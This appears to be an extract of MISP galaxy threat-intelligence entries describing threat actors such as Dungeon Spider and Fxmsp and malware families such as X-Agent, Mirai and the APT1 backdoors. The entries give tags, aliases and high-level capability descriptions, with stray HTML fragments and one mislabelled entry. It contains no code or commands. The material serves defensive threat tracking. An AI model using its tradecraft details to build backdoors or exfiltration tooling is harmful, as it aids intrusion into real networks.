DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: *misp-galaxy:threat-actor=*Dungeon Spider*

---

**Fxmsp**

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

The tag is: *misp-galaxy:threat-actor=*Fxmsp

---

**Gnosticplayers**

The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data

---

Links

he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them."

Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device's webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company's efforts to get back on its feet. The first reports suggesting Hacking Team’s resumed operations came six months later – a new sample of Hacking Team’s Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team’s shareholder structure, with Tablem Limited taking 20% of Hacking Team’s shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high-profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

[Vault 7/8]

An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virginia. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones.

Zombie Spider

CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

EVILTOSS
backdoor used by apt28

Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.

The tag is: misp-galaxy:tool="EVILTOSS"

EVILTOSS is also known as:
  • Sedreco
  • AZZY
  • ADVSTORESHELL
  • NETUI

EVILTOSS has relationships with:
  • similar: misp-galaxy:mitre-malware="ADVSTORESHELL" - S0045" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

GAMEFISH
backdoor

The tag is: misp-galaxy:tool="GAMEFISH"

GAMEFISH is also known as:
  • Sednit
  • Seduploader
  • JHUHUGIT
  • Sofacy
GAMEFISH has relationships with:

- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"

**Regin**

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: misp-galaxy:tool="Regin"

Regin is also known as:

- Prax
- WarriorPride

Regin has relationships with:

Htran

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network.

The tag is: `misp-galaxy:tool="Htran"`

HTran is also known as:

- HUC Packet Transmitter
- HTran

X-Agent

APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group's flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

The tag is: misp-galaxy:tool="X-Agent"

X-Agent is also known as:

- XAgent

X-Agent has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"

**Prikormka**

Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.

The tag is: `misp-galaxy:tool="Prikormka"

Prikormka has relationships with:

- similar: `misp-galaxy:mitre-malware="Prikormka - S0113"` with `estimative-language:likelihood-probability="likely"`
NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: `misp-galaxy:tool="NanHaiShu"`

NanHaiShu has relationships with:

- similar: `misp-galaxy:mitre-malware="NanHaiShu - S0228"` with `estimative-language:likelihood-probability="likely"`

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: `misp-galaxy:tool="Umbreon"`

Umbreon has relationships with:

- similar: `misp-galaxy:mitre-malware="Umbreon - S0221"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Umbreon"` with `estimative-language:likelihood-probability="likely"`

Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network.
These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: `misp-galaxy:tool=“Odinaff”`

Odinaff has relationships with:

**Hworm**

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: `misp-galaxy:tool=“Hworm”`

Hworm is also known as:

- Houdini

Hworm has relationships with:

- similar: `misp-galaxy:malpedia=“Hworm”` with `estimative-language:likelihood-probability=“likely”`

**Backdoor.Dripion**

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: `misp-galaxy:tool=“Backdoor.Dripion”`

Backdoor.Dripion is also known as:

- Dripion
Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: `misp-galaxy:tool="Adwind"`

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- jSocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

- similar: `misp-galaxy:rat="Adwind RAT"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:android="Adwind"` with `estimative-language:likelihood-probability="likely"`

Tartine

Delphi RAT used by Sofacy.

The tag is: misp-galaxy:tool="Tartine"

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.
The tag is: `misp-galaxy:tool="Mirai"`

Mirai is also known as:

- Linux/Mirai

Mirai has relationships with:

- similar: `misp-galaxy:botnet="Mirai"` with `estimative-language:likelihood-probability="likely"`

**BASHLITE**

The tag is: `misp-galaxy:tool="BASHLITE"`

**BlackEnergy**

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality.
and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: `misp-galaxy:tool="BlackEnergy"

BlackEnergy has relationships with:

- similar: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: `misp-galaxy:tool="MM Core"`

MM Core is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
BaneChant
StrangeLove

MM Core has relationships with:

- similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"

Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: misp-galaxy:tool="Shamoon"

Shamoon is also known as:

- DistTrack

Shamoon has relationships with:

- similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

GhostAdmin

According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.

The tag is: misp-galaxy:tool="GhostAdmin"

GhostAdmin has relationships with:

- similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"
EyePyramid Malware

Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: `misp-galaxy:tool="EyePyramid Malware"`

LuminosityLink

LuminosityLink is a malware family costing $40 that purports to be a system administration utility.

The tag is: `misp-galaxy:tool="LuminosityLink"`

FlokiBot

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.

The tag is: `misp-galaxy:tool="FlokiBot"`

FlokiBot is also known as:

- Floki Bot
- Floki
ZeroT

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.

The tag is: `misp-galaxy:tool="ZeroT"`

ZeroT has relationships with:

- similar: `misp-galaxy:mitre-malware="ZeroT - S0230"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="ZeroT"` with `estimative-language:likelihood-probability="likely"`

StreamEx

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

The tag is: `misp-galaxy:tool="StreamEx"`

StreamEx has relationships with:

- similar: `misp-galaxy:mitre-malware="StreamEx - S0142"` with `estimative-language:likelihood-probability="likely"`

MoonWind

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,

The tag is: misp-galaxy:tool="MoonWind"

MoonWind has relationships with:

Sathurbot

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: misp-galaxy:tool="Sathurbot"

Sathurbot has relationships with:

- similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-probability="likely"

Table 5214. Table References

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="AURIGA"

Table 5215. Table References

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of
cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="BANGAT"

**BISCUIT**

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: misp-galaxy:tool="BISCUIT"

BISCUIT has relationships with:

- similar: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="likely"

Table 5216. Table References

**BOUNCER**

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: misp-galaxy:tool="BOUNCER"

Table 5216. Table References

CALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: misp-galaxy:tool="CALENDAR"

CALENDAR has relationships with:

- similar: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"

COOKIEBAG

This family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: misp-galaxy:tool="COOKIEBAG"

COOKIEBAG is also known as:
DAIRY

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: *misp-galaxy:tool="DAIRY"*

GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: *misp-galaxy:tool="GETMAIL"*

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google’s published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: *misp-galaxy:tool="GDOCUPLOAD"*
GLOOXMAIL

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: misp-galaxy:tool="GLOOXMAIL"

GLOOXMAIL is also known as:

- TROJAN.GTALK

GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

GOGGLES

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: misp-galaxy:tool="GOGGLES"

GOGGLES is also known as:

- TROJAN.FOXY

GREENCAT

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading
and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: `misp-galaxy:tool="GREENCAT"

</tr>
</tbody>
</table>

**KURTON**

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy.
The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: *misp-galaxy:tool="KURTON"

### LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: *misp-galaxy:tool="LIGHTBOLT"

### LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: *misp-galaxy:tool="LIGHTDART"

### LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjumpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.
MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: *misp-galaxy:tool="MANITSME"*

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: *misp-galaxy:tool="MAPIGET"*

MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="MINIASP"*
NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: misp-galaxy:tool="NEWSREELS"

Table 5237. Table References

</tr>
</tbody>
</table>

SEASALT

The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: misp-galaxy:tool="SEASALT"

Table 5238. Table References

<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: misp-galaxy:tool="STARSYPOUND"

<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>
**SWORD**

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: `misp-galaxy:tool=“SWORD”`

**TABMSGSQL**

This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.

The tag is: `misp-galaxy:tool=“TABMSGSQL”`

TABMSGSQL is also known as:

- **TROJAN LETSGO**

**TARSIP-ECLIPSE**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: `misp-galaxy:tool=“TARSIP-ECLIPSE”`
**TARSIP-MOON**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-MOON"*

**WARP**

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from [www.dankrusi.com/file_69653F3336383837.html](http://www.dankrusi.com/file_69653F3336383837.html). The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from [www.bo2k.com](http://www.bo2k.com). It also contains the hard disk identification code found at [www.winsim.com/diskid32/diskid32.cpp](http://www.winsim.com/diskid32/diskid32.cpp). When the WARP executing remote commands, the malware creates a copy of the `?%SYSTEMROOT%\system32\cmd.exe?` file as `%USERPROFILE%\Temp\~ISUN32.EXE`. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

**WEBC2-ADSPACE**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: *misp-galaxy:tool="WEBC2-ADSPACE"*
WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: misp-galaxy:tool="WEBC2-AUSOV"

WEBC2-BOLID

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.

The tag is: misp-galaxy:tool="WEBC2-BOLID"

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the
Updata sched.exe file.

The tag is: misp-galaxy:tool="WEBC2-CLOVER"

